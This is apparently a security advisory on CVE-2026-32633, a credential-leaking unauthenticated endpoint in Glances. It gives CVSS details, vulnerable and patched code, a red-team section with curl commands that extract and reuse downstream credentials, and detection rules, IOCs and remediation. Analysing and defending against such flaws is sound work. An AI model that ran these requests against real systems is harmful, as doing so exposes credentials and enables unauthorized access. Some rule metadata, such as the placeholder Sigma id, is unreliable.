CVE-2026-32633

Executive Summary

CVE-2026-32633 is a critical vulnerability in the Glances open-source system monitoring tool, affecting versions prior to 4.5.2. The flaw resides in the Central Browser mode, specifically within the /api/4/serverslist endpoint. When a Glances instance is started without the --password flag (a common configuration for internal network deployments), this endpoint is completely unauthenticated. It returns raw server objects that contain a uri field with embedded HTTP Basic credentials for downstream Glances servers. These credentials are derived from the reusable pbkdf2-based Glances authentication secret, allowing an attacker to retrieve them and gain unauthorized access to protected downstream servers. The vulnerability has a CVSS score of 9.1, indicating critical severity, and currently has no known public exploit code or patch status beyond the vendor's fix in version 4.5.2.

Supply Chain & Package Security

Glances is a Python-based open-source tool distributed via PyPI. The vulnerability affects the core application logic, not a dependency. However, organizations using Glances in their monitoring infrastructure should verify their deployment configurations and ensure they are not exposing the API without authentication. The supply chain risk is moderate, as the fix requires updating the Glances package itself.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high impact on confidentiality, integrity, and availability stems from the fact that an attacker can retrieve reusable credentials for downstream servers, potentially leading to full compromise of those systems. The low attack complexity and no required privileges make this vulnerability highly exploitable.

Deep Dive & Mechanics

The vulnerability is rooted in the Glances Central Browser mode, which aggregates monitoring data from multiple downstream Glances servers. The /api/4/serverslist endpoint calls GlancesServersList.get_servers_list(), which returns server objects that are mutated in-place during background polling. These objects include a uri field containing HTTP Basic authentication credentials (username and password) for the downstream servers. The credentials are derived from the Glances authentication secret using pbkdf2, making them reusable across sessions.

When the front-end Glances Browser/API instance is started without the --password flag, the /api/4/serverslist endpoint is completely unauthenticated. Any network user who can reach the Browser API can retrieve these credentials once the downstream servers have been polled. This allows the attacker to authenticate to the downstream servers and potentially execute arbitrary commands or exfiltrate sensitive monitoring data.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.5.2): The get_servers_list() method returns the raw server objects, including the uri field with embedded credentials.

# GlancesServersList class (vulnerable)
def get_servers_list(self):
    return self._servers_list

Patched Code (4.5.2): The fix sanitizes the server objects by removing the uri field or stripping credentials before returning the list.

# GlancesServersList class (patched)
def get_servers_list(self):
    sanitized_list = []
    for server in self._servers_list:
        sanitized_server = server.copy()
        sanitized_server.pop('uri', None)  # Remove URI with credentials
        sanitized_list.append(sanitized_server)
    return sanitized_list

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy a vulnerable Glances instance (version < 4.5.2) in Central Browser mode without --password.
2. Configure at least one downstream Glances server with authentication enabled.
3. Ensure the downstream server is polled by the browser instance.

Exploitation Steps:

1. Identify the Glances Browser API endpoint (e.g., http://target:61208).
2. Send a GET request to /api/4/serverslist:

   curl http://target:61208/api/4/serverslist
   

3. Parse the JSON response to extract the uri field containing credentials:

   [
     {
       "uri": "http://user:password@downstream-server:61208",
       "name": "downstream-server"
     }
   ]
   

4. Use the extracted credentials to access the downstream server:

   curl http://user:password@downstream-server:61208/api/4/all
   

Blue Team (Defender)

Detection:

• Monitor for unauthorized access to /api/4/serverslist from unexpected IPs.
• Alert on any successful authentication to downstream servers using credentials not associated with legitimate users.
• Review Glances logs for unusual API requests.

Mitigation:

• Immediately upgrade to Glances version 4.5.2 or later.
• If upgrade is not possible, ensure the Glances Browser instance is started with --password to require authentication.
• Restrict network access to the Glances API using firewall rules or VPNs.
• Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/4/serverslist on Glances Browser instances (default port 61208).
• Logs: Glances logs showing access to /api/4/serverslist without authentication.
• Credentials: Unauthorized use of downstream server credentials in network traffic.
• File: Presence of uri fields in Glances server list responses.

Detection Engineering

YARA Rule

rule CVE_2026_32633_Glances_Credential_Leak {
    meta:
        description = "Detects Glances server list responses containing embedded credentials"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-32633"
    strings:
        $uri_pattern = /"uri":\s*"https?:\/\/[^:]+:[^@]+@/
    condition:
        $uri_pattern
}

Sigma Rule

title: Glances Credential Leak via /api/4/serverslist
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized access to the Glances /api/4/serverslist endpoint
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/4/serverslist'
    condition: selection
falsepositives:
    - Legitimate monitoring tools
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-32633 Glances Credential Leak Attempt"; flow:to_server; content:"GET"; http_method; content:"/api/4/serverslist"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to Glances version 4.5.2 or later.
2. Configuration Change: If upgrade is not possible, start the Glances Browser instance with --password to enforce authentication.
3. Network Segmentation: Restrict access to the Glances API to trusted IPs only.
4. Credential Rotation: Rotate all credentials for downstream Glances servers that may have been exposed.
5. Monitoring: Enable logging and monitoring for unauthorized access to the /api/4/serverslist endpoint.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert